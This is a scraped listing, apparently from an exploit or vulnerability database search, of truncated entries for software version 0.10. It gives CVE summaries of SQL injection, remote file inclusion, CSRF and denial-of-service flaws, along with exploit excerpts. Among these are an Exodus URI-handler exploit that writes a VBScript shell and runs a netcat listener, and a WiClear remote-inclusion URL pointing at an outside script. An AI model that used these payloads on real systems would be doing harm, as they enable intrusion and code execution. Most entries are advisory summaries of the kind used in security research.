Sql injection

SQL injection vulnerability in login.php in MyNews 0.10 allows remote attackers to execute arbitrary SQL commands via the 1 username and 2 passwd parameters...

CVE-2009-0739

SQL injection vulnerability in login.php in MyNews 0.10 allows remote attackers to execute arbitrary SQL commands via the 1 username and 2 passwd parameters...

CVE-2009-0739

CVE-2009-0739 affects the MyNews 0.10 web application, specifically the login.php component. The vulnerability is a SQL injection in the authentication path, exploitable through the parameters (1) username and (2) passwd, enabling remote attackers to execute arbitrary SQL commands. The CVSS metri...

Mynews 0.10 - Authentication Bypass

0x01 Informations: Name : Mynews 010 Download : http://prdownloads.sourceforge.net/mynews/mynewsbeta010.zip?download Vulnerability : Auth Bypass Author : x0r Contact : [email protected] Notes : Proud to be Italian 0x02 Bug: Bugged file is /path/login.php Code if $request == "POST" $username =...

Mynews 0.10 - Authentication Bypass

Mynews 0.10 - Authentication Bypass 0x01 Informations: Name : Mynews 010 Download : http://prdownloads.sourceforge.net/mynews/mynewsbeta010.zip?download Vulnerability : Auth Bypass Author : x0r Contact : [email protected] Notes : Proud to be Italian 0x02 Bug: Bugged file is /path/login.php Cod...

Exodus 0.10 (uri handler) Arbitrary Parameter Injection Exploit

No description provided by source. !-- Exodus v0.10 remote code execution exploit by Nine:Situations:Group::strawdog This uses the "-l" argument to overwrite a file inside Microsoft Help and Support Center folders oh rgod... Firstly run netcat in listen mode to drop the vbscript shell run this...

Exodus 0.10 - URI Handler Arbitrary Parameter Injection (2)

Exodus 0.10 - URI Handler Arbitrary Parameter Injection 2 testfile echo Dim wshShell testfile echo Set wshShell = CreateObject"WScript.Shell" testfile echo wshShell.Run"cmd /c start calc" testfile echo ^ testfile nc -L -s 192.168.0.1 -p 5222 -vv click me click me milw0rm.com 2008-11-20...

Exodus 0.10 (uri handler) Arbitrary Parameter Injection Exploit

Exploit for unknown platform in category remote exploits =============================================================== Exodus 0.10 uri handler Arbitrary Parameter Injection Exploit =============================================================== testfile echo Dim wshShell testfile echo Set...

Exodus 0.10 - URI Handler Arbitrary Parameter Injection (2)

testfile echo Dim wshShell testfile echo Set wshShell = CreateObject"WScript.Shell" testfile echo wshShell.Run"cmd /c start calc" testfile echo ^ testfile nc -L -s 192.168.0.1 -p 5222 -vv click me click me milw0rm.com 2008-11-20...

Exodus 0.10 (uri handler) Arbitrary Parameter Injection Vulnerability

Exploit for unknown platform in category remote exploits ===================================================================== Exodus 0.10 uri handler Arbitrary Parameter Injection Vulnerability =====================================================================...

CVE-2008-0285

ngIRCd 0.10.x before 0.10.4 and 0.11.0 before 0.11.0-pre2 allows remote attackers to cause a denial of service crash via crafted IRC PART message, which triggers an invalid dereference...

Sql injection

SQL injection vulnerability in admin.php in MyNews 0.10, when magicquotesgpc is disabled, allows remote attackers to execute arbitrary SQL commands via the authacc cookie...

CVE-2007-2520

CVE-2007-2520 affects MyNews 0.10. SQL injection in admin.php via the authacc cookie when PHP magic_quotes_gpc is disabled. The vulnerability allows remote execution of arbitrary SQL commands and could lead to data exposure or modification; impact is described as partial confidentiality/integrity...

MyNews 0.10 - AuthACC SQL Injection

source: https://www.securityfocus.com/bid/24621/info MyNews is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query. A successful exploit could allow an attacker to compromise the application, access or modi...

Critical: seamonkey security update

devhelp-0.10-0.8.el4: 0.10-0.8.el4 - Rebuild against newer gecko seamonkey-1.0.9-2.el4.0.1: 1.0.9-2.el4.0.1 - Add mozilla-oracle-default-bookmarks.html, mozilla-oracle-default-prefs.js, - and mozilla-home-page.patch for errata build 1.0.9-2.el4 - Final bits, plus an s390x build fix 1.0.9-0.1.el4 ...

CVE-2006-5878

Cross-site request forgery CSRF vulnerability in Edgewall Trac 0.10 and earlier allows remote attackers to perform unauthorized actions as other users via unknown vectors...

CVE-2006-5506

Multiple PHP remote file inclusion vulnerabilities in WiClear 0.10 allow remote attackers to execute arbitrary PHP code via the path parameter in 1 inc/prepend.inc.php, 2 inc/lib/boxes.lib.php, 3 inc/lib/tools.lib.php, 4 tools/trackback/index.php, and 5 tools/utf8conversion/index.php in admin/; a...

CVE-2006-5506

WiClear 0.10 contains multiple PHP remote file inclusion (RFI) flaws that allow an attacker to execute arbitrary PHP code by supplying a crafted path parameter. Affected locations include admin/ paths (inc/prepend.inc.php, inc/lib/boxes.lib.php, inc/lib/tools.lib.php, tools/trackback/index.php, t...

WiClear 0.10 - path Remote File Inclusion

WiClear 0.10 - path Remote File Inclusion wiclear v0.10 Remote File Inclusion Vulnerability Download: http://wiclear.free.fr/download/wiclear-0.10.tgz Found By: the master nidhal exploit: http://Target/Path/admin/inc/prepend.inc.php?path=http://cmd.gif?...

Design/Logic Flaw

Multiple unspecified vulnerabilities in Ethereal 0.10.x up to 0.10.14 allow remote attackers to cause a denial of service large or infinite loops viarafted packets to the 1 UMA and 2 BER dissectors...